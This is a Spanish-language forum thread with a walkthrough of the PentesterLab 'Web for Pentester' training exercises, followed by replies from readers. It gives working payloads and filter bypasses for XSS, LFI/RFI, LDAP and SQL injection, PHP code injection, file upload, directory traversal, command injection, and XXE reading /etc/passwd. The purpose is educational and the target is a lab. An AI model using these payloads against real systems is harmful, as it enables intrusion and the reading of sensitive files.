Underc0de

[In]Seguridad Informática => Wargames y retos => Soluciones de Wargames => Mensaje iniciado por: rollth en Noviembre 14, 2016, 04:28:50 PM

Título: WebForPentesters
Publicado por: rollth en Noviembre 14, 2016, 04:28:50 PM
Muy buenas, en este post voy a mostrar como se podrían resolver los retos de  WebForPentesters (https://pentesterlab.com/exercises/web_for_pentester/).
Este reto más que de explotar algún tipo de vulnerabilidad sirve para aprender a saltar los filtros típicos. Si no conoces alguna de las vulnerabilidades de los retos puedes mirar los links que dejo.

(https://gyazo.com/39c10e7146e297e2ef5742a45764a5b6.png)

XSS (https://www.owasp.org/index.php/Cross-site_Scripting_(XSS))

Reto XSS 1

Este primero es sencillo y con un simple payload en el parametro name nos saltaría la alerta.
"/xss/example1.php?name=<script>alert(document.domain)</script>"

Reto XSS 2

En este caso hay un filtro que se encarga de eliminar si se encuentra algo que sea: "<script>" o "</script>", por lo tanto vamos a usar mayúsculas.
"/xss/example2.php?name=<sCript>alert(document.domain);</Script>"

Reto XSS 3

Ahora igual que antes elimina cuando encuentra <script>, pero también elimina si ve mayuscula, para ello dentro de la etiqueta meteremos otra etiqueta, así no será capaz de detectar la de fuera, y al borrar la de dentro  saltará la alerta.
"/xss/example2.php?name=<scri<script>pt>alert(document.domain);</scrip</script>t>"

Reto XSS 4

En este si encuentra <script> en lugar de borrarlo, da un error, en este caso vamos a usar una etiqueta HTML y un evento. (http://librosweb.es/libro/javascript/capitulo_6/modelo_basico_de_eventos_2.html)
"/xss/example4.php?name=<body onload=alert(document.domain)>XSS</body>"

Reto XSS 5

En este caso también filtra la función alert, podemos usar otra diferente pero que haga lo que nosotros queremos.  Lista de funciones (https://norfipc.com/inf/javascript-lista-variables-funciones-usar-paginas-web.html)
"/xss/example5.php?name=<body onload=prompt("document.domain")>XSS</body>"

Reto XSS 6

La verdad no se cual es la diferencia con el reto anterior, también funciona el payload anterior.

Reto XSS 7

En este caso el valor que introduzcas se introduce en una variable de javascript: "<script>var $a= 'input';"</script>. Para hacer que salte la alerta solo tenemos que añadirle la función y abrir unas comillas para que las se cierre por el filtro.
"/xss/example7.php?name=a';alert(document.domain); var $b= 'b"

Reto XSS 8

Este es un poco más complicado, la web una función de php que se llama PHP_SELF (http://stackoverflow.com/questions/6080022/php-self-and-xss) se usa mucho para en un metodo POST escribir en el HTML que donde va a enviar los valores por método POST es así mismo, modificando la URL se puede hacer saltar una XSS.
"/xss/example8.php/"><script>alert(document.domain)</script>"

Reto XSS 9

Este igual, simplemente ponemos el payload después del '#'. Yo no he conseguido que me funcione en versiones actuales de Firefox o de Chrome, solo con ie.

/xss/example9.php#<script>alert(document.domain)</script>


(https://i.gyazo.com/8bc2a1f64b94f2d76b79eabc1d51fba8.png)


LFI (https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion) Y RFI (https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion)

Reto RFI

Yo voy a usar para esto un archivo con el siguiente código:

Código (php) [Seleccionar]
<?php 
echo '<p>Hola Mundo</p>'
?>


Esto se sube a un servidor privado y ya podemos pasar el reto.

"/fileincl/example1.php?page=http://prueba.es/a.txt"

(https://i.gyazo.com/1f575b72120b994dc02ac42df2fae4e4.png)

Reto LFI

Este reto es muy sencillito, solo vamos a accerder a passwd a través de este payload.
/fileincl/example2.php?page=../../../etc/passwd%00

(https://i.gyazo.com/194b8a8256ba563ca6e677f6ccdbd615.png)


LDAP (https://www.owasp.org/index.php/LDAP_injection)

Reto LDAP 1

Este reto es sencillito, se valida con los datos que se envian por la URL, esta validación se puede bypassear simplemente no enviando nada.
"/ldap/example1.php"

Reto LDAP 2

En este es igual, ya que no sabemos la contraseñas nos vamos a deshacer de esa petición, para esto vamos a cerrar con %00. Ahora pongamos la contraseña que pongamos nos va a dejar entrar.
"/ldap/example2.php?name=hacker))%00&password=p"

(https://i.gyazo.com/9de9eff4cf413ed74a9989af2ac0b823.png)


SQLi (https://www.owasp.org/index.php/SQL_Injection)

Reto SQLi 1

Este no tiene ningún tipo de filtro y obviamente el parámetro que enviamos es un String, así que colocaremos una tautología y un comentario para que se nos muestren todos los usuarios.
"/sqli/example1.php?name=' or 1=1-- -"

Reto SQLi 2

Ahora no nos deja colocar espacios, bueno, simplemente vamos a hacer el mismo payload sin espacios, solo que la tautología la vamos a poner comparando strings para que se cierre.
"/sqli/example2.php?name='or'1'='1"

Reto SQLi 3

Aquí también funciona usando el filtro anterior.

Reto SQLi 4

Ahora tampoco tiene ningún filtro, pero la difencia es que ahora funciona por un Integer y no por un String, por lo tanto no hay que tener en cuenta el cierre de comillas final.
"/sqli/example4.php?id=2 or 1=1"

Reto SQLi 5 y 6

También funciona usando el payload anterior.

Reto SQLi 7

Este comprueba que lo que se ha introducido sea un Integer, para saltar este filtro vamos a añadir un salto de línea: "%0A" antes de la tautología para que no la valore el filtro, pero si la consulta.
"/sqli/example7.php?id=2%0A or 1=1"

Reto SQLi 8 y 9

Al mostrar directamente todo he estado intentando hacer que solo muestre un elemento con UNION, pero no lo he conseguido, si alguien sabe como se completa este que me avise.

(https://i.gyazo.com/85c23ab02dccf9f231ec8cc2b57c88ca.png)

Code injection (https://www.owasp.org/index.php/Code_Injection)

Reto Code injection 1

Aquí igual que en todos los primeros no hay ningún filtro, solamente tenemos que ocupar bien de que las comillas queden bien abiertas, ya que el propio código ahora las cierra.
/codeexec/example1.php?name=Rollth";phpinfo();$a="a


Reto Code injection 2

Antes él codigo usaba eval, ahora está usando la función usort (podemos verlo si colocamos el payload anterior), y esta va aser la que vamos a cerrar para que todo salga bien, para ello nos vamos a ayudar de un comentario.
"/codeexec/example2.php?order=id);}phpinfo();%23"

Reto Code injection 3

Este tampoco he sido capaz de resolverlo, si alguien lo sabe que me pase la solución.

Reto Code injection 4

Ahora si ponemos un punto nos dará un error que nos dirá que la función que usa es la función assert, pues vamos a  ayudarnostambién de los comentarios.
"/codeexec/example4.php?name=hacker'.phpinfo();%23"

(https://i.gyazo.com/401d484d2219d149c772ba6e46f2c9ac.png)

File Upload (https://underc0de.org/foro/pentest/upload-php-(vulnerabilidad)/msg97730/#msg97730)


Reto File Upload 1

Este es sencillo, solo tenemos que mandar la shell en php que nos guste y lo tenemos hecho.

Reto File Upload 2

En este caso tienen filtrados los archivos php, entonces lo que vamos a hacer es cambiarle la extensión a otra que pueda ejecutar php, como por ejemplo phtml.

(https://i.gyazo.com/df74ded9beff07d2b6407b25da35d3c9.png)

Directory traversal (https://es.wikipedia.org/wiki/Directory_traversal)

Reto Directory traversal 1

Bueno, para resolver este reto solo tenemos que poner el path del archivo que queremos leer.
"/dirtrav/example1.php?file=../sqli/example4.php"

Reto Directory traversal 2

Este es igual de sencillo, solo que tenemos que modificar el path de la foto por el de nuestro archivo y ya podemos entrar a verlo.
/dirtrav/example2.php?file=/var/www/files/../sqli/example4.php

Reto Directory traversal 3

En este caso la terminación del archivo la da el código. Para leer nuestro archivo php vamos a añadirle al final de nuestro path un salto de linea.
/dirtrav/example3.php?file=/../sqli/example4.php%00

(https://i.gyazo.com/d42e9cc089ec6bc8e2345549be61689f.png)

Commands injection (https://www.owasp.org/index.php/Command_Injection)

Reto Commands injection 1

Este primero es solo añadir a la ip el comando que queremos hacer.
"/commandexec/example1.php?ip=127.0.0.1;ls;"

Reto Commands injection 2

Ahora tiene un filtro que si añades algo que no sea la IP da un fallo, pero se puede saltar añadiendo un salto de linea.
"/commandexec/example2.php?ip=127.0.0.1%0Als"

Reto Commands injection 3

Ahora lo que hace es recargar la web si lanzas algo además de la IP, para obtener los resultaso antes de que recargue vamos a usar ncat.

"ncat 192.168.1.23 80
GET /commandexec/example3.php?ip=127.0.0.1%0Als"


(https://i.gyazo.com/226f5e14b3bcac107932baf7f731be7d.png)


XML attacks (https://www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008))


Reto XML attacks 1

Ahora vamos a crear con xml una  variable en la que vamos a meter el archivo /etc/passwd y lo vamos a mostrar, seria con el siguiente payload que tenemos que encodear (http://meyerweb.com/eric/tools/dencoder/).
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>

"/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E"

Reto XML attacks 2

Para este último vamos a hacer que nos muestre todos los usuarios, para ellos al igual que en las inyecciones SQL vamos a usar una tautología.

/xml/example2.php?name=hacker' or 2=2]%00


Ya habríamos acabado el reto.

También me pueden seguir en Twitter si les hace ilusión: @RoloMijan (https://twitter.com/RoloMijan)

Saludos.
Título: Re:WebForPentesters
Publicado por: Gabriela en Noviembre 15, 2016, 09:13:15 AM
Muy prolijo y laborioso tu aporte @rollth (https://underc0de.org/foro/index.php?action=profile;u=30952) , permitiendo una lectura clara y amena.

Por otra parte, siempre es de utilidad estos ejercicios (o retos) con la explicación del cómo superarlo; más que se hacen en forma gradual.

Más allá de eso, tu post me ha enseñado unas cuantas cosas que no sabía.

Agradecida y +Karma

Gabriela
Título: Re:WebForPentesters
Publicado por: grep en Noviembre 15, 2016, 09:31:16 AM
A favoritos,

Gracias @rollth (https://underc0de.org/foro/index.php?action=profile;u=30952)

Saludos
Título: Re:WebForPentesters
Publicado por: rollth en Noviembre 15, 2016, 09:35:17 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy prolijo y laborioso tu aporte @rollth (https://underc0de.org/foro/index.php?action=profile;u=30952) , permitiendo una lectura clara y amena.

Por otra parte, siempre es de utilidad estos ejercicios (o retos) con la explicación del cómo superarlo; más que se hacen en forma gradual.

Más allá de eso, tu post me ha enseñado unas cuantas cosas que no sabía.

Agradecida y +Karma

Gabriela

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
A favoritos,

Gracias @rollth (https://underc0de.org/foro/index.php?action=profile;u=30952)

Saludos

Muchas gracias a los dos, así da gusto gastar el tiempo para escribir posts :D

Saludos.
Título: Re:WebForPentesters
Publicado por: blackdrake en Noviembre 17, 2016, 07:19:09 AM
Muy bueno @rollth (https://underc0de.org/foro/index.php?action=profile;u=30952), para tener acceso a los retos, te bajaste el iso y lo montaste como live cd?

Un saludo.
Título: Re:WebForPentesters
Publicado por: HATI en Noviembre 17, 2016, 07:42:24 AM
Buenísimo @rollth (https://underc0de.org/foro/profile/rollth/), a favoritos  ;D
Título: Re:WebForPentesters
Publicado por: d0r127 en Noviembre 17, 2016, 11:35:30 AM
Buenas compañeros, me he descargado la ISO y a la hora de hacer un ifconfig no me da IPv4 :( tengo puesto modo bridge,he probado a reiniciar la tarjeta de red y demas..

(http://i.imgur.com/PF6sr5J.png)

¿Alguna sugerencia?

Un saludo :)
Título: Re:WebForPentesters
Publicado por: rollth en Noviembre 18, 2016, 12:12:37 AM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buenas compañeros, me he descargado la ISO y a la hora de hacer un ifconfig no me da IPv4 :( tengo puesto modo bridge,he probado a reiniciar la tarjeta de red y demas..

(http://i.imgur.com/PF6sr5J.png)

¿Alguna sugerencia?

Un saludo :)

Prueba en la pestaña avanzada a ponerlo en modo promiscuo.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Buenísimo

@rollth (https://underc0de.org/foro/profile/rollth/), a favoritos  ;D

Muchas gracias :D

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Muy bueno @rollth (https://underc0de.org/foro/index.php?action=profile;u=30952), para tener acceso a los retos, te bajaste el iso y lo montaste como live cd?

Un saludo.

Así es.